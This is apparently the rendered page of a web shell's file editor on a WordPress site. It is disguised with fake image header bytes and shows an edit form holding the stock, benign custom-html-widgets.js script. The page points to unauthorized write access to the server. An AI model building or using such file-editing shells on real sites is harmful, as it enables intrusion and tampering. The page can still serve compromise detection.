�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2F'>www.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-admin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-admin%2Fjs%2Fwidgets%2F'>widgets</a>/</p><hr><h3>✏️ Editing: custom-html-widgets.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ &quot;error&quot;, &quot;control&quot; ] */
/* eslint no-magic-numbers: [&quot;error&quot;, { &quot;ignore&quot;: [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	&#039;use strict&#039;;

	var component = {
		idBases: [ &#039;custom_html&#039; ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: &#039;&#039;,
				plural: &#039;&#039;
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( &#039;Missing options.el&#039; );
			}
			if ( ! options.syncContainer ) {
				throw new Error( &#039;Missing options.syncContainer&#039; );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( &#039;.id_base&#039; ).val();
			control.widgetNumber = control.syncContainer.parent().find( &#039;.widget_number&#039; ).val();
			control.customizeSettingId = &#039;widget_&#039; + control.widgetIdBase + &#039;[&#039; + String( control.widgetNumber ) + &#039;]&#039;;

			control.$el.addClass( &#039;custom-html-widget-fields&#039; );
			control.$el.html( wp.template( &#039;widget-custom-html-control-fields&#039; )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( &#039;.code-editor-error-container&#039; );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( &#039;.widget-control-actions&#039; ) ).find( &#039;.widget-control-save, #savewidget&#039; );
			control.saveButton.addClass( &#039;custom-html-widget-save-button&#039; ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( &#039;.title&#039; ),
				content: control.$el.find( &#039;.content&#039; )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( &#039;input change&#039;, function updateSyncField() {
					var syncInput = control.syncContainer.find( &#039;.sync-input.&#039; + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( &#039;change&#039; );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( &#039;.sync-input.&#039; + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( &#039;.sync-input.title&#039; );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor&#039;s contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor &amp;&amp; control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( &#039;.sync-input.content&#039; );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = &#039;&#039;, customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( &#039;%d&#039;, &#039;1&#039; );
			} else if ( errorAnnotations.length &gt; 1 ) {
				message = component.l10n.errorNotice.plural.replace( &#039;%d&#039;, String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize &amp;&amp; wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( &#039;htmlhint_error&#039; );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( &#039;htmlhint_error&#039;, new wp.customize.Notification( &#039;htmlhint_error&#039;, {
						message: message,
						type: &#039;error&#039;
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( &#039;&lt;div class=&quot;inline notice notice-error notice-alt&quot; role=&quot;alert&quot;&gt;&lt;/div&gt;&#039; );
				errorNotice.append( $( &#039;&lt;p&gt;&lt;/p&gt;&#039;, {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( &#039;fast&#039; );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( &#039;fast&#039; );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( &#039;.widget-position, .widget-control-actions&#039; ) ).find( &#039;:tabbable&#039; );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( &#039;validation-blocked disabled&#039;, errorAnnotations.length &gt; 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: &#039;textbox&#039;,
					&#039;aria-multiline&#039;: &#039;true&#039;,
					&#039;aria-labelledby&#039;: control.fields.content[0].id + &#039;-label&#039;,
					&#039;aria-describedby&#039;: &#039;editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4&#039;
				});

			// Focus the editor when clicking on its label.
			$( &#039;#&#039; + control.fields.content[0].id + &#039;-label&#039; ).on( &#039;click&#039;, function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( &#039;change&#039;, function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( &#039;change&#039;, function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( &#039;change&#039; );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( &#039;blur&#039;, function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( &#039;.sync-input.content&#039; ).trigger( &#039;change&#039; );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( &#039;keydown&#039;, function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.&lt;string, wp.textWidgets.CustomHtmlWidgetControl&gt;}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( &#039;&gt; .widget-inside &gt; .form, &gt; .widget-inside &gt; form&#039; ); // Note: &#039;.form&#039; appears in the customizer, whereas &#039;form&#039; on the widgets admin screen.

		idBase = widgetForm.find( &#039;&gt; .id_base&#039; ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( &#039;.widget-id&#039; ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially &quot;managed&quot;
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a &quot;flash of replaced DOM elements and re-initialized JS
		 * components&quot;, the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( &#039;&lt;div&gt;&lt;/div&gt;&#039; );
		syncContainer = widgetContainer.find( &#039;.widget-content:first&#039; );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent&#039;s container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( &#039;expanded&#039; ) : widgetContainer.hasClass( &#039;open&#039; ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://core.trac.wordpress.org/changeset/41260
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( &#039;.editwidget &gt; form&#039; );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( &#039;.id_base&#039; ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( &#039;&lt;div&gt;&lt;/div&gt;&#039; );
		syncContainer = widgetForm.find( &#039;&gt; .widget-inside&#039; );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the &#039;widget-updated&#039; event when saving a widget from
	 * the widgets admin screen and also via the &#039;widget-synced&#039; event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( &#039;&gt; .widget-inside &gt; .form, &gt; .widget-inside &gt; form&#039; );

		idBase = widgetForm.find( &#039;&gt; .id_base&#039; ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( &#039;&gt; .widget-id&#039; ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( &#039;widget-added&#039;, component.handleWidgetAdded );
		$document.on( &#039;widget-synced widget-updated&#039;, component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( &#039;widgets&#039; !== window.pagenow ) {
				return;
			}
			widgetContainers = $( &#039;.widgets-holder-wrap:not(#available-widgets)&#039; ).find( &#039;div.widget&#039; );
			widgetContainers.one( &#039;click.toggle-widget-expanded&#039;, function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( &#039;widget-added&#039; ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === &#039;complete&#039; ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( &#039;load&#039;, function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-admin%2Fjs%2Fwidgets'>🔙 Back</a></p>